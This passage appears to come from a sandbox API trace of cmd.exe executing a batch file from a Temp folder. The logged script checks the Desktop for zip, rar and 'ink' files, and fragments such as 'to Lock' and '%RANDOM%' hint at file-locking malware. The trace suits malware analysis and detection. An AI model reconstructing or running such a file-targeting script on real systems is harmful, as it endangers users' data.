(lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.565] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.565] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.565] SetFilePointer (in: hFile=0x74, lDistanceToMove=52, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x34 [0038.565] GetProcessHeap () returned 0x4e0000 [0038.565] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e0880 | out: hHeap=0x4e0000) returned 1 [0038.565] GetProcessHeap () returned 0x4e0000 [0038.565] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.565] GetProcessHeap () returned 0x4e0000 [0038.565] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.565] GetProcessHeap () returned 0x4e0000 [0038.565] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.565] GetProcessHeap () returned 0x4e0000 [0038.565] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.565] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.565] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x34 [0038.566] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0038.566] SetFilePointer (in: hFile=0x74, lDistanceToMove=54, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x36 [0038.566] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\nto Lock\r\ng %RANDOM%.XL\r\n\n") returned 2 [0038.566] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.566] GetFileType (hFile=0x74) returned 0x1 [0038.566] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.566] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x36 [0038.566] GetProcessHeap () returned 0x4e0000 [0038.566] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.566] GetProcessHeap () returned 0x4e0000 [0038.566] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.566] _tell (_FileHandle=3) returned 54 [0038.566] _close (_FileHandle=3) returned 0 [0038.566] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.566] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.566] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.566] SetFilePointer (in: hFile=0x74, lDistanceToMove=54, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x36 [0038.567] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.567] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x36 [0038.567] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0038.567] SetFilePointer (in: hFile=0x74, lDistanceToMove=79, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4f [0038.567] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.zip goto zip\r\n\n\n") returned 25 [0038.567] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.567] GetFileType (hFile=0x74) returned 0x1 [0038.567] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.567] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4f [0038.567] GetProcessHeap () returned 0x4e0000 [0038.567] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.567] GetProcessHeap () returned 0x4e0000 [0038.567] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.567] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.567] GetProcessHeap () returned 0x4e0000 [0038.567] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.567] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.567] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.567] GetProcessHeap () returned 0x4e0000 [0038.567] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.567] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.567] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.567] GetProcessHeap () returned 0x4e0000 [0038.567] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.567] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.568] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.568] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0038.568] GetProcessHeap () returned 0x4e0000 [0038.568] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.568] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0038.568] GetProcessHeap () returned 0x4e0000 [0038.568] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0038.568] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.568] GetProcessHeap () returned 0x4e0000 [0038.568] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.568] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0038.569] _tell (_FileHandle=3) returned 79 [0038.569] _close (_FileHandle=3) returned 0 [0038.570] GetFullPathNameW (in: lpFileName="*.zip", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.zip", lpFilePart=0x41eea8*="*.zip") returned 0x2b [0038.570] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.570] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.zip", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0038.570] GetLastError () returned 0x2 [0038.570] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0038.570] GetLastError () returned 0x6 [0038.570] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.570] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.570] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.570] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.571] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.571] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.571] SetConsoleInputExeNameW () returned 0x1 [0038.571] GetConsoleOutputCP () returned 0x1b5 [0038.571] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.571] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.571] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.571] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.571] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.571] SetFilePointer (in: hFile=0x74, lDistanceToMove=79, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4f [0038.571] GetProcessHeap () returned 0x4e0000 [0038.571] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0038.571] GetProcessHeap () returned 0x4e0000 [0038.571] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0038.571] GetProcessHeap () returned 0x4e0000 [0038.571] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0038.571] GetProcessHeap () returned 0x4e0000 [0038.571] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0038.572] GetProcessHeap () returned 0x4e0000 [0038.572] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.572] GetProcessHeap () returned 0x4e0000 [0038.572] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.572] GetProcessHeap () returned 0x4e0000 [0038.572] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.572] GetProcessHeap () returned 0x4e0000 [0038.572] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.572] GetProcessHeap () returned 0x4e0000 [0038.572] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0038.572] GetProcessHeap () returned 0x4e0000 [0038.572] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.572] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.572] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4f [0038.572] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0038.572] SetFilePointer (in: hFile=0x74, lDistanceToMove=81, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x51 [0038.572] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.zip goto zip\r\n\n\n") returned 2 [0038.572] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.572] GetFileType (hFile=0x74) returned 0x1 [0038.572] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.572] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x51 [0038.572] GetProcessHeap () returned 0x4e0000 [0038.572] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.572] GetProcessHeap () returned 0x4e0000 [0038.572] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.573] _tell (_FileHandle=3) returned 81 [0038.573] _close (_FileHandle=3) returned 0 [0038.573] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.573] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.573] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.573] SetFilePointer (in: hFile=0x74, lDistanceToMove=81, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x51 [0038.573] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.573] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x51 [0038.573] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0038.573] SetFilePointer (in: hFile=0x74, lDistanceToMove=106, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a [0038.573] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.rar goto rar\r\n\n\n") returned 25 [0038.573] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.573] GetFileType (hFile=0x74) returned 0x1 [0038.573] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.573] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6a [0038.573] GetProcessHeap () returned 0x4e0000 [0038.573] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.574] GetProcessHeap () returned 0x4e0000 [0038.574] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.574] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.574] GetProcessHeap () returned 0x4e0000 [0038.574] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.574] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.574] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.574] GetProcessHeap () returned 0x4e0000 [0038.574] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.574] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.574] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.574] GetProcessHeap () returned 0x4e0000 [0038.574] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.574] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.574] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.574] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0038.574] GetProcessHeap () returned 0x4e0000 [0038.574] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.574] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0038.574] GetProcessHeap () returned 0x4e0000 [0038.574] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0038.574] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.574] GetProcessHeap () returned 0x4e0000 [0038.574] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.574] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0038.575] _tell (_FileHandle=3) returned 106 [0038.575] _close (_FileHandle=3) returned 0 [0038.575] GetFullPathNameW (in: lpFileName="*.rar", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.rar", lpFilePart=0x41eea8*="*.rar") returned 0x2b [0038.575] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.575] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.rar", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0038.576] GetLastError () returned 0x2 [0038.576] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0038.576] GetLastError () returned 0x6 [0038.576] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.576] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.576] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.576] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.576] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.576] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.576] SetConsoleInputExeNameW () returned 0x1 [0038.576] GetConsoleOutputCP () returned 0x1b5 [0038.577] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.577] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.577] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.577] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.577] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.577] SetFilePointer (in: hFile=0x74, lDistanceToMove=106, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a [0038.577] GetProcessHeap () returned 0x4e0000 [0038.577] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0038.577] GetProcessHeap () returned 0x4e0000 [0038.577] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0038.577] GetProcessHeap () returned 0x4e0000 [0038.578] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0038.578] GetProcessHeap () returned 0x4e0000 [0038.578] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0038.578] GetProcessHeap () returned 0x4e0000 [0038.578] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.578] GetProcessHeap () returned 0x4e0000 [0038.578] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.578] GetProcessHeap () returned 0x4e0000 [0038.578] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.578] GetProcessHeap () returned 0x4e0000 [0038.578] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.578] GetProcessHeap () returned 0x4e0000 [0038.578] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0038.578] GetProcessHeap () returned 0x4e0000 [0038.578] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.578] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.578] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6a [0038.578] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0038.578] SetFilePointer (in: hFile=0x74, lDistanceToMove=108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c [0038.578] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.rar goto rar\r\n\n\n") returned 2 [0038.578] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.578] GetFileType (hFile=0x74) returned 0x1 [0038.578] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.578] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6c [0038.579] GetProcessHeap () returned 0x4e0000 [0038.579] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.579] GetProcessHeap () returned 0x4e0000 [0038.579] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.579] _tell (_FileHandle=3) returned 108 [0038.579] _close (_FileHandle=3) returned 0 [0038.579] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.579] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.579] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.579] SetFilePointer (in: hFile=0x74, lDistanceToMove=108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c [0038.579] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.579] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6c [0038.579] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0038.579] SetFilePointer (in: hFile=0x74, lDistanceToMove=133, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x85 [0038.579] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.ink goto ink\r\n\n\n") returned 25 [0038.579] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.579] GetFileType (hFile=0x74) returned 0x1 [0038.579] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.580] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x85 [0038.580] GetProcessHeap () returned 0x4e0000 [0038.580] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.580] GetProcessHeap () returned 0x4e0000 [0038.580] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.580] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.580] GetProcessHeap () returned 0x4e0000 [0038.580] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.580] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.580] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.580] GetProcessHeap () returned 0x4e0000 [0038.580] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.580] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.580] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.580] GetProcessHeap () returned 0x4e0000 [0038.580] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.580] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.580] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.580] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0038.580] GetProcessHeap () returned 0x4e0000 [0038.580] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.580] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0038.580] GetProcessHeap () returned 0x4e0000 [0038.580] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0038.580] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.580] GetProcessHeap () returned 0x4e0000 [0038.580] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.581] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0038.581] _tell (_FileHandle=3) returned 133 [0038.581] _close (_FileHandle=3) returned 0 [0038.581] GetFullPathNameW (in: lpFileName="*.ink", nBufferLength=0x208, 